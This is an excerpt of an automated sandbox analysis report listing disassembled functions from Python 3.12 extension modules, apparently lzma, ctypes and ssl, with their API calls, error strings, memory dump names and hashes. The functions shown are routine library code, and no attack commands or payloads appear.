Instruction ID: c70e5b90f1a27bedb635be9a5fcafb10190117f37006c48a82f8b949a8c774c1
Opcode Fuzzy Hash: 6a5f2705f88bddb11ab39b9728de2f4bb82e27ad7ea4ec875802c8952d629f76
Instruction Fuzzy Hash: F6210A61A09E1281EB188B97AD1427A63A9FB84FE0B8450B0DE0E07B74EF3EF4418340

Function 00007FFE10251110 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 143threadCOMMON

Download Yara Rule

APIs

PyType_GetModuleState.PYTHON312 ref: 00007FFE10251156
_PyArg_ParseTupleAndKeywords_SizeT.PYTHON312 ref: 00007FFE10251197
PyThread_allocate_lock.PYTHON312 ref: 00007FFE102511FE
PyErr_Format.PYTHON312 ref: 00007FFE10251286
_Py_Dealloc.PYTHON312 ref: 00007FFE10251299
PyErr_SetString.PYTHON312 ref: 00007FFE10251319
_Py_Dealloc.PYTHON312 ref: 00007FFE10255E05

Strings

Invalid container format: %d, xrefs: 00007FFE1025127C
Integrity checks are only supported by FORMAT_XZ, xrefs: 00007FFE10255DEC
Unable to allocate lock, xrefs: 00007FFE10255E12
|iiOO:LZMACompressor, xrefs: 00007FFE10251169
Cannot specify both preset and filter chain, xrefs: 00007FFE10251308

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: DeallocErr_$Arg_FormatKeywords_ModuleParseSizeStateStringThread_allocate_lockTupleType_
String ID: Cannot specify both preset and filter chain$Integrity checks are only supported by FORMAT_XZ$Invalid container format: %d$Unable to allocate lock$|iiOO:LZMACompressor
API String ID: 1600877341-3984722346
Opcode ID: 1e688a17dabf5163ed9c27b377d890ab5408a498247c306a90725e182f9f5b69
Instruction ID: e0cf8f6776f95f0170eb819c938f4a1d4767491029cb4f5d7e880ef3e7aa5ea4
Opcode Fuzzy Hash: 1e688a17dabf5163ed9c27b377d890ab5408a498247c306a90725e182f9f5b69
Instruction Fuzzy Hash: 15612BB2A08F5285EB508B26E4500F83BA5BB88BA8F5045B1DF0D93B7AEF7CD545C744

Function 00007FFE1338C3B0 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 134COMMON

Download Yara Rule

APIs

PyDict_GetItemWithError.PYTHON312 ref: 00007FFE1338C433
PyErr_Occurred.PYTHON312 ref: 00007FFE1338C446

Part of subcall function 00007FFE1338C3B0: PySequence_GetItem.PYTHON312 ref: 00007FFE1338C487
Part of subcall function 00007FFE1338C3B0: PySequence_GetItem.PYTHON312 ref: 00007FFE1338C49E
Part of subcall function 00007FFE1338C3B0: PyDict_Contains.PYTHON312 ref: 00007FFE1338C4C6
Part of subcall function 00007FFE1338C3B0: PyObject_SetAttr.PYTHON312 ref: 00007FFE1338C4DB
Part of subcall function 00007FFE1338C3B0: _Py_Dealloc.PYTHON312 ref: 00007FFE1338C4F2
Part of subcall function 00007FFE1338C3B0: _Py_Dealloc.PYTHON312 ref: 00007FFE1338C506
Part of subcall function 00007FFE1338C3B0: PyErr_Format.PYTHON312 ref: 00007FFE1338C542
Part of subcall function 00007FFE1338C3B0: _Py_Dealloc.PYTHON312 ref: 00007FFE1338C556
Part of subcall function 00007FFE1338C3B0: _Py_Dealloc.PYTHON312 ref: 00007FFE1338C57A

Strings

duplicate values for field %R, xrefs: 00007FFE1338C535

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dealloc$Item$Dict_Err_Sequence_$AttrContainsErrorFormatObject_OccurredWith
String ID: duplicate values for field %R
API String ID: 1919794741-1910533534
Opcode ID: feed1ebd9a10f988b3139fd274841d5cfd1af85e4a2f71c9d34d5b91a8ffa020
Instruction ID: ac7d0bcedb017015cfc306af87907c1a7c8976ffc7ba1f33bdf9692de64338ae
Opcode Fuzzy Hash: feed1ebd9a10f988b3139fd274841d5cfd1af85e4a2f71c9d34d5b91a8ffa020
Instruction Fuzzy Hash: 7D516421E0AE4689EE159B27A80427DA391FB65BF4F0442B5DD7E66BB4DE3CE0818304

Function 00007FFE1338DBD4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 125threadCOMMON

Download Yara Rule

APIs

PyEval_SaveThread.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFE1338DC1A
GetErrorInfo.OLEAUT32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFE1338DC5F
PyEval_RestoreThread.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFE1338DCBC
ProgIDFromCLSID.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFE1338DCCF
Py_BuildValue.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFE1338DD11
PyErr_SetObject.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFE1338DD29
_Py_Dealloc.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFE1338DD3D
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFE1338DD46
SysFreeString.OLEAUT32 ref: 00007FFE1338DD55
SysFreeString.OLEAUT32 ref: 00007FFE1338DD64
SysFreeString.OLEAUT32 ref: 00007FFE1338DD73

Strings

iu(uuuiu), xrefs: 00007FFE1338DD0A

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Free$String$Eval_Thread$BuildDeallocErr_ErrorFromInfoLocalObjectProgRestoreSaveValue
String ID: iu(uuuiu)
API String ID: 2817777535-1877708109
Opcode ID: bbcaae038e97a817c7c7b6b638df51f31d336b5b9f75d9212f463f556b5cb2f2
Instruction ID: c208f615128020c847d1f8e5ad26dca6e73d1277b3bc2a53ef60c8e85e3ae7bc
Opcode Fuzzy Hash: bbcaae038e97a817c7c7b6b638df51f31d336b5b9f75d9212f463f556b5cb2f2
Instruction Fuzzy Hash: B451F566B04E06DAEB009F66D4943AC23B1EB98B9CF004576DE1E6BB68DE3DD548C344

Function 00007FFE133841E4 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

_PyObject_LookupAttr.PYTHON312 ref: 00007FFE13384215
PySequence_Fast.PYTHON312 ref: 00007FFE1338902D
_Py_Dealloc.PYTHON312 ref: 00007FFE13389046
PyObject_GetAttr.PYTHON312 ref: 00007FFE1338909D
_Py_Dealloc.PYTHON312 ref: 00007FFE133890DE
_Py_Dealloc.PYTHON312 ref: 00007FFE133890FA
_Py_Dealloc.PYTHON312 ref: 00007FFE1338915C

Strings

_anonymous_ must be a sequence, xrefs: 00007FFE13389026
'%U' is specified in _anonymous_ but not in _fields_, xrefs: 00007FFE1338911F

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dealloc$AttrObject_$FastLookupSequence_
String ID: '%U' is specified in _anonymous_ but not in _fields_$_anonymous_ must be a sequence
API String ID: 1391743325-2678605723
Opcode ID: bb376b5dfcaa953b3f0e44805b9c5710d06844054b7f5947dfbf1be42a9fe78f
Instruction ID: bdbada8e9871233a9df6f5939ffe57987fb19163e4d5496cbc0aa4a820755256
Opcode Fuzzy Hash: bb376b5dfcaa953b3f0e44805b9c5710d06844054b7f5947dfbf1be42a9fe78f
Instruction Fuzzy Hash: 81511F72D08E12C9EB149F67D84427D33A5EB65BA5F0442B5CA6E67AB0CF3CE481C308

Function 00007FFE13389D18 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 119COMMON

Download Yara Rule

APIs

PyIndex_Check.PYTHON312 ref: 00007FFE13389D4C
PyNumber_AsSsize_t.PYTHON312 ref: 00007FFE13389D63
PyErr_Occurred.PYTHON312 ref: 00007FFE13389D72
PyErr_SetString.PYTHON312 ref: 00007FFE13389E94

Strings

indices must be integer, xrefs: 00007FFE13389E83
Can only assign sequence of same size, xrefs: 00007FFE13389E20
Array does not support item deletion, xrefs: 00007FFE13389D3D

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_$CheckIndex_Number_OccurredSsize_tString
String ID: Array does not support item deletion$Can only assign sequence of same size$indices must be integer
API String ID: 428023279-3643249925
Opcode ID: 94285a89e917a686babeaf58f22eacd8f10a2bdc9ee1c7361282beab83bab17c
Instruction ID: c8a3ed48c928be6ad3fec1382e5289a7c060daf87f7914f4dfbe0973741edabc
Opcode Fuzzy Hash: 94285a89e917a686babeaf58f22eacd8f10a2bdc9ee1c7361282beab83bab17c
Instruction Fuzzy Hash: 95416261A08E42C9EB148F27DC404B927A6BF64BF4B0446F5DD3E67AB5DE3CE4858308

Function 00007FFE11EC1000 Relevance: 21.1, APIs: 14, Instructions: 116COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON312 ref: 00007FFE11EC101A
PyDict_New.PYTHON312 ref: 00007FFE11EC1023
PyDict_New.PYTHON312 ref: 00007FFE11EC1036
PyUnicode_FromString.PYTHON312 ref: 00007FFE11EC1063
_Py_BuildValue_SizeT.PYTHON312 ref: 00007FFE11EC1082
PyDict_SetItem.PYTHON312 ref: 00007FFE11EC109E
PyLong_FromLong.PYTHON312 ref: 00007FFE11EC10F3
PyUnicode_FromString.PYTHON312 ref: 00007FFE11EC10FF
PyDict_SetItem.PYTHON312 ref: 00007FFE11EC111C
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC37AB
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC37DC

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Dict_$From$DeallocItemStringUnicode_$BuildLongLong_Module_SizeStateValue_
String ID:
API String ID: 4085978302-0
Opcode ID: 1916cb0f66c8a6532ad634327cb8a9e4a94c340ca870efe73f3068bc70bd46b6
Instruction ID: 292da51b3acdc385fa5aa3b5f19af8b686d1a277508d726b07a69255df3438bf
Opcode Fuzzy Hash: 1916cb0f66c8a6532ad634327cb8a9e4a94c340ca870efe73f3068bc70bd46b6
Instruction Fuzzy Hash: D051B235A09F42C1EB559BA3AC5437B62E8FF89BA5F8840B5CA0D427A5DF3EF4418341

Function 00007FFE13382430 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

PyDict_GetItemWithError.PYTHON312 ref: 00007FFE13382498
PyLong_AsUnsignedLongMask.PYTHON312 ref: 00007FFE133824BE
PyDict_GetItemWithError.PYTHON312 ref: 00007FFE133824DF
PyErr_Occurred.PYTHON312 ref: 00007FFE13382595

Part of subcall function 00007FFE13384254: PySequence_Tuple.PYTHON312 ref: 00007FFE1338426C
Part of subcall function 00007FFE13384254: PyTuple_New.PYTHON312 ref: 00007FFE13384293
Part of subcall function 00007FFE13384254: _PyObject_LookupAttr.PYTHON312 ref: 00007FFE133842CD

PyDict_GetItemWithError.PYTHON312 ref: 00007FFE1338252A
_PyObject_LookupAttr.PYTHON312 ref: 00007FFE1338257E
PyErr_Occurred.PYTHON312 ref: 00007FFE13387766
PyErr_SetString.PYTHON312 ref: 00007FFE13387786

Strings

class must define _flags_ which must be an integer, xrefs: 00007FFE13387775
_restype_ must be a type, a callable, or None, xrefs: 00007FFE13387749

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dict_Err_ErrorItemWith$AttrLookupObject_Occurred$LongLong_MaskSequence_StringTupleTuple_Unsigned
String ID: _restype_ must be a type, a callable, or None$class must define _flags_ which must be an integer
API String ID: 1011425329-2538317290
Opcode ID: e9f4d9762ee201c60d1db2b4a667e8bd2f6fbd433d2b9c2620817638b360e4c4
Instruction ID: 7f986658534f94a0b6cbcb3842f79e0c50bb258adab5139ba5cc089099d8ee57
Opcode Fuzzy Hash: e9f4d9762ee201c60d1db2b4a667e8bd2f6fbd433d2b9c2620817638b360e4c4
Instruction Fuzzy Hash: A8414361E09F029AEB458B17D55133863A1FF64BA0F0841B9D96E67B74DF3CE4A4C308

Function 00007FFE11EC5998 Relevance: 21.1, APIs: 14, Instructions: 101COMMON

Download Yara Rule

APIs

X509_get_ext_d2i.LIBCRYPTO-3(?,?,00000000,00007FFE11EC57B0), ref: 00007FFE11EC59BF
PyList_New.PYTHON312(?,?,00000000,00007FFE11EC57B0), ref: 00007FFE11EC59DB
OPENSSL_sk_num.LIBCRYPTO-3(?,?,00000000,00007FFE11EC57B0), ref: 00007FFE11EC59F3
OPENSSL_sk_value.LIBCRYPTO-3(?,?,00000000,00007FFE11EC57B0), ref: 00007FFE11EC5A07
OPENSSL_sk_num.LIBCRYPTO-3(?,?,00000000,00007FFE11EC57B0), ref: 00007FFE11EC5A1F
OPENSSL_sk_value.LIBCRYPTO-3(?,?,00000000,00007FFE11EC57B0), ref: 00007FFE11EC5A2F
PyUnicode_FromStringAndSize.PYTHON312(?,?,00000000,00007FFE11EC57B0), ref: 00007FFE11EC5A45
PyList_Append.PYTHON312(?,?,00000000,00007FFE11EC57B0), ref: 00007FFE11EC5A59
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE11EC57B0), ref: 00007FFE11EC5A6F
OPENSSL_sk_num.LIBCRYPTO-3(?,?,00000000,00007FFE11EC57B0), ref: 00007FFE11EC5A80
OPENSSL_sk_num.LIBCRYPTO-3(?,?,00000000,00007FFE11EC57B0), ref: 00007FFE11EC5A91
PyList_AsTuple.PYTHON312(?,?,00000000,00007FFE11EC57B0), ref: 00007FFE11EC5AA9
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE11EC57B0), ref: 00007FFE11EC5AC9
CRL_DIST_POINTS_free.LIBCRYPTO-3(?,?,00000000,00007FFE11EC57B0), ref: 00007FFE11EC5AD2

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: L_sk_num$List_$DeallocL_sk_value$AppendFromS_freeSizeStringTupleUnicode_X509_get_ext_d2i
String ID:
API String ID: 3668485020-0
Opcode ID: 82b2ebc115407615bbac4ea49f8d6b6d0461ede8d54896972eaf3c73340c0966
Instruction ID: 726df26e7bea343ce4922c6b0a6a78e06e2d63129df0a25970a401e636dfe3b4
Opcode Fuzzy Hash: 82b2ebc115407615bbac4ea49f8d6b6d0461ede8d54896972eaf3c73340c0966
Instruction Fuzzy Hash: 55411621A09F4685EB149FA7AC9423A63A9BF84FA1B8844B4CD0F46774DE3EF4418340

Function 00007FFE1338EA90 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 75COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON312 ref: 00007FFE1338EAAA
PyErr_SetString.PYTHON312 ref: 00007FFE1338EADE
PyErr_Format.PYTHON312 ref: 00007FFE1338EB05
PyErr_Format.PYTHON312 ref: 00007FFE1338EB24
PyMem_Calloc.PYTHON312 ref: 00007FFE1338EB4D
PyErr_NoMemory.PYTHON312 ref: 00007FFE1338EB5B
memmove.VCRUNTIME140 ref: 00007FFE1338EB73
PyMem_Realloc.PYTHON312 ref: 00007FFE1338EB86

Strings

expected ctypes instance, xrefs: 00007FFE1338EAD4
Memory cannot be resized because this object doesn't own it, xrefs: 00007FFE1338EB1A
On:resize, xrefs: 00007FFE1338EA9E
minimum size is %zd, xrefs: 00007FFE1338EAFB

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_$FormatMem_$Arg_CallocMemoryParseReallocStringTuplememmove
String ID: Memory cannot be resized because this object doesn't own it$On:resize$expected ctypes instance$minimum size is %zd
API String ID: 840110532-3291562774
Opcode ID: cd216367da7b70f9bc6008edd14b05b164207bdae5c78e698a9322619a2b1427
Instruction ID: 763c4281111ccff99736d2363968deb40da03fa0c4541fa8d5fd17ba84b2d98a
Opcode Fuzzy Hash: cd216367da7b70f9bc6008edd14b05b164207bdae5c78e698a9322619a2b1427
Instruction Fuzzy Hash: C5312A61A0DE06C9EA158B1BE48007D2371FBA8FA0B5001B5CA6F67BB4DE2CE4D4C358

Function 00007FFE11EC3DB4 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE11EC3DDE
PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE11EC3DEE
RAND_bytes.LIBCRYPTO-3 ref: 00007FFE11EC3E02

Strings

num must be positive, xrefs: 00007FFE11EC3DD4
(ks), xrefs: 00007FFE11EC3E38

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: String$Bytes_D_bytesErr_FromSize
String ID: (ks)$num must be positive
API String ID: 574210595-3708576348
Opcode ID: ef5c184055204222b845e38213c73adfca1a897d2ebebea3fd62c770b19f6ea9
Instruction ID: 5769a02620f02dcd93405d3d07eb05dd2143f71eb26f849b6469562921ab3e38
Opcode Fuzzy Hash: ef5c184055204222b845e38213c73adfca1a897d2ebebea3fd62c770b19f6ea9
Instruction Fuzzy Hash: 04210A25A0CF12C1EB149BA3EC5433A62A9BF49BA1F8440B1D90E86774EE3EF5458700

Function 00007FFE13382A30 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 205COMMON

Download Yara Rule

APIs

PyTuple_New.PYTHON312 ref: 00007FFE13387B59
PyLong_AsUnsignedLongMask.PYTHON312 ref: 00007FFE13387BBD

Strings

NULL stgdict unexpected, xrefs: 00007FFE13387D5A
%s 'out' parameter must be passed as default value, xrefs: 00007FFE13387D3D
call takes exactly %d arguments (%zd given), xrefs: 00007FFE13387D9F
paramflag %u not yet implemented, xrefs: 00007FFE13387D1D

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: LongLong_MaskTuple_Unsigned
String ID: %s 'out' parameter must be passed as default value$NULL stgdict unexpected$call takes exactly %d arguments (%zd given)$paramflag %u not yet implemented
API String ID: 1136903700-2588965191
Opcode ID: 1f54fb949d54fa6e7efb03db2fdefba552e4d369440d1d5b363fb06e9a2d66bb
Instruction ID: 64d2eefdd3c65c759aaad5e742e8864c45cbaa0d0d21f38497697adc7b837ec5
Opcode Fuzzy Hash: 1f54fb949d54fa6e7efb03db2fdefba552e4d369440d1d5b363fb06e9a2d66bb
Instruction Fuzzy Hash: 8E918272A08E8289DB65CF17D44027D73A2FB94BA4F1441B5CA5EA7B64DF3CE494C704

Function 00007FFE1338B35C Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 169COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312(?,?,?,?,00007FFE13389CF5,?), ref: 00007FFE1338B39D

Strings

expected %s instance, got %s, xrefs: 00007FFE1338B4C4
(%s) , xrefs: 00007FFE1338B42E
not a ctype instance, xrefs: 00007FFE1338B393
incompatible types, %s instance instead of %s instance, xrefs: 00007FFE1338B5CD

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_String
String ID: (%s) $expected %s instance, got %s$incompatible types, %s instance instead of %s instance$not a ctype instance
API String ID: 1450464846-2159251832
Opcode ID: 49090ea8160a0a731fc361daa588ed684a3b37585decdb829f9b1fbba9b53e31
Instruction ID: b7c4de83dc881795a544b15a099ba6b12e3bc46d93547c46b65a476a110d8407
Opcode Fuzzy Hash: 49090ea8160a0a731fc361daa588ed684a3b37585decdb829f9b1fbba9b53e31
Instruction Fuzzy Hash: 57717066A09F43C9EE049B13E45017D6761AFA5BE0F0842F5DE2E67BB5DF2CE4858308

Function 00007FFE1338B7A0 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 147COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON312 ref: 00007FFE1338B80A
PyErr_SetString.PYTHON312 ref: 00007FFE1338B848
_PyArg_ParseTuple_SizeT.PYTHON312 ref: 00007FFE1338B8EA
PyErr_Format.PYTHON312 ref: 00007FFE1338B94D

Strings

i|OO, xrefs: 00007FFE1338B8E3
paramflags must be a tuple or None, xrefs: 00007FFE1338B9E6
paramflag value %d not supported, xrefs: 00007FFE1338B93F
is|Oz#, xrefs: 00007FFE1338B7E1
abstract class, xrefs: 00007FFE1338B837
paramflags must have the same length as argtypes, xrefs: 00007FFE1338B8AF
paramflags must be a sequence of (int [,string [,value]]) tuples, xrefs: 00007FFE1338B9DA

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

